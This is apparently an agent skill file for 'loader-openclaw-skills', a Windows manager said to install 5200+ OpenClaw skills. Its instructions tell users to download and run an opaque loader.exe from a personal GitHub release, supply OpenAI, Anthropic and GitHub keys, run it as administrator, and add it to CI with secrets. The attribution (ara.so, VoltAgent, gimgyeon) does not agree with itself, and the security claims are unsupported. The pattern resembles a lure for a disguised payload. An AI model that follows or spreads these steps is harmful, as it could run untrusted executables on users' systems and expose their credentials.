loader-openclaw-skills

name	loader-openclaw-skills
description	Fully automatic OpenClaw skill manager for Windows - installs, updates, and launches 5200+ community skills from ClawHub with zero manual configuration
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loader-openclaw-skills

Skill by ara.so — Hermes Skills collection.

VoltAgent loader is a fully automatic skill management system for OpenClaw agents. It handles installation, updates, dependency resolution, environment configuration, and launching of 5200+ curated community skills from ClawHub without requiring manual commands or configuration.

What It Does

The loader automatically:

• Detects and installs OpenClaw if not present
• Downloads and installs skills from ClawHub registry
• Resolves dependencies and version conflicts
• Configures environment variables and API keys
• Performs security scans (VirusTotal, malicious pattern detection)
• Creates backups of your workspace
• Launches agents with optimal parameters
• Filters out 7,215+ low-quality/malicious skills automatically

Installation

Download

1. Download loader.exe from the releases page:

# Using PowerShell
Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe"

2. Or manually download from GitHub releases

Basic Usage

Double-click loader.exe or run from command line:

loader.exe

Wait for "All done" message. The agent will launch with all installed skills.

Key Commands

Install Skills by Category

# Install all Git & GitHub skills (167 skills)
loader.exe --category "Git & GitHub"

# Install all Coding Agents & IDEs skills (1184 skills)
loader.exe --category "Coding Agents & IDEs"

# Install Browser & Automation skills (323 skills)
loader.exe --category "Browser & Automation"

# Install DevOps & Cloud skills (393 skills)
loader.exe --category "DevOps & Cloud"

Search and Install

# Search and install best browser automation skills
loader.exe --search "browser automation"

# Search for specific functionality
loader.exe --search "git pr merge"

# Search and install PDF skills
loader.exe --search "pdf document"

Smart Installation

# Analyze project and install only relevant skills
loader.exe --smart

# Smart install with verbose output
loader.exe --smart --verbose

Advanced Options

# Update all installed skills
loader.exe --update

# List all available categories
loader.exe --list-categories

# Show installed skills
loader.exe --list-installed

# Backup current configuration
loader.exe --backup

# Restore from backup
loader.exe --restore

# Run in sandbox mode (security testing)
loader.exe --sandbox

# Skip security scans (not recommended)
loader.exe --skip-security

Configuration

Environment Variables

Set these before running loader for automatic configuration:

# OpenAI API key
set OPENAI_API_KEY=your_key_here

# Anthropic Claude API key
set ANTHROPIC_API_KEY=your_key_here

# GitHub token for private repos
set GITHUB_TOKEN=your_token_here

# ClawHub registry URL (optional, uses default)
set CLAWHUB_REGISTRY=https://hub.openclaw.dev

Config File

Create loader.config.json in the same directory as loader.exe:

{
  "auto_update": true,
  "security_scan": true,
  "sandbox_test": false,
  "max_concurrent_installs": 5,
  "categories": [
    "Git & GitHub",
    "Coding Agents & IDEs",
    "Browser & Automation"
  ],
  "exclude_skills": [
    "crypto-trader",
    "blockchain-monitor"
  ],
  "api_keys": {
    "openai": "${OPENAI_API_KEY}",
    "anthropic": "${ANTHROPIC_API_KEY}"
  }
}

Common Patterns

Install Skills for Web Development

# Install web development stack
loader.exe --category "Web & Frontend Development"
loader.exe --category "DevOps & Cloud"
loader.exe --search "browser testing"

Install Skills for Data Analysis

loader.exe --category "Data & Analytics"
loader.exe --search "pdf extraction"
loader.exe --search "document processing"

Install Skills for AI Development

loader.exe --category "AI & LLMs"
loader.exe --category "Image & Video Generation"
loader.exe --search "prompt engineering"

Custom Installation Script

Create install-skills.bat:

@echo off
echo Installing development skills...
loader.exe --category "Git & GitHub"
loader.exe --category "Coding Agents & IDEs"
loader.exe --search "code review"
loader.exe --search "unit testing"
echo Done!
pause

Integration Examples

PowerShell Script

# install-openclaw-env.ps1
$ErrorActionPreference = "Stop"

# Set API keys from secure storage
$env:OPENAI_API_KEY = Get-Secret -Name OpenAI-Key -AsPlainText
$env:ANTHROPIC_API_KEY = Get-Secret -Name Anthropic-Key -AsPlainText

# Download loader if not present
if (-not (Test-Path "loader.exe")) {
    Write-Host "Downloading loader..."
    Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe"
}

# Install skills for specific project
Write-Host "Installing skills for web development project..."
.\loader.exe --category "Web & Frontend Development"
.\loader.exe --category "Browser & Automation"
.\loader.exe --search "react testing"

Write-Host "Skills installed successfully!"

Batch Script with Error Handling

@echo off
setlocal enabledelayedexpansion

echo VoltAgent Loader Setup
echo =====================

REM Check if loader exists
if not exist "loader.exe" (
    echo ERROR: loader.exe not found!
    echo Please download from: https://github.com/gimgyeon/loader-openclaw-skills/releases
    exit /b 1
)

REM Set API keys
set /p OPENAI_KEY="Enter OpenAI API Key: "
set OPENAI_API_KEY=%OPENAI_KEY%

REM Install skills
echo Installing skills...
loader.exe --category "Git & GitHub" --verbose

if %ERRORLEVEL% neq 0 (
    echo ERROR: Installation failed!
    exit /b 1
)

echo Installation complete!
pause

Security Best Practices

Verify Downloads

# Check file hash before running
$hash = Get-FileHash loader.exe -Algorithm SHA256
Write-Host "SHA256: $($hash.Hash)"
# Compare with hash from releases page

Run Security Scan

# Always run with security scanning enabled (default)
loader.exe --category "Browser & Automation"

# Enable sandbox testing for untrusted skills
loader.exe --sandbox --search "new experimental tool"

Review Before Installation

# List skills that would be installed without actually installing
loader.exe --category "AI & LLMs" --dry-run

# Show detailed info about a specific skill
loader.exe --info "skill-name"

Troubleshooting

Loader Won't Start

# Run with verbose logging
loader.exe --verbose --debug

# Check Windows Event Viewer
eventvwr.msc
# Navigate to Windows Logs > Application

Skills Not Installing

# Clear cache and retry
loader.exe --clear-cache
loader.exe --category "Git & GitHub"

# Check network connectivity
ping hub.openclaw.dev

# Verify API keys are set
echo %OPENAI_API_KEY%

Dependency Conflicts

# Reset all skills
loader.exe --reset

# Reinstall with fresh dependencies
loader.exe --category "Coding Agents & IDEs" --force-reinstall

Permission Errors

# Run as administrator
# Right-click loader.exe > Run as administrator

# Or from elevated PowerShell:
Start-Process loader.exe -Verb RunAs -ArgumentList "--category 'Git & GitHub'"

API Rate Limiting

# Reduce concurrent installs in config
echo {"max_concurrent_installs": 2} > loader.config.json

# Wait and retry
timeout /t 300
loader.exe --resume

Corrupted Installation

# Restore from backup
loader.exe --restore

# Or clean reinstall
loader.exe --uninstall-all
loader.exe --category "Git & GitHub"

Advanced Usage

Automated CI/CD Integration

# .github/workflows/setup-openclaw.yml
name: Setup OpenClaw Skills
on: [push]
jobs:
  setup:
    runs-on: windows-latest
    steps:
      - name: Download loader
        run: |
          Invoke-WebRequest -Uri "https://github.com/gimgyeon/loader-openclaw-skills/releases/latest/download/loader.exe" -OutFile "loader.exe"
      
      - name: Install skills
        env:
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
        run: |
          .\loader.exe --category "Git & GitHub" --non-interactive

Custom Skill Filters

Create custom-filter.json:

{
  "include_patterns": ["test", "automation", "ci/cd"],
  "exclude_patterns": ["crypto", "trading"],
  "min_stars": 10,
  "max_age_days": 365,
  "require_tests": true
}

Use with loader:

loader.exe --filter custom-filter.json --category "DevOps & Cloud"

Platform Requirements

• OS: Windows 10/11 (x64)
• RAM: 4GB minimum, 8GB recommended
• Disk: 2GB free space
• Network: Internet connection required
• .NET: Framework 4.8+ (installed automatically if needed)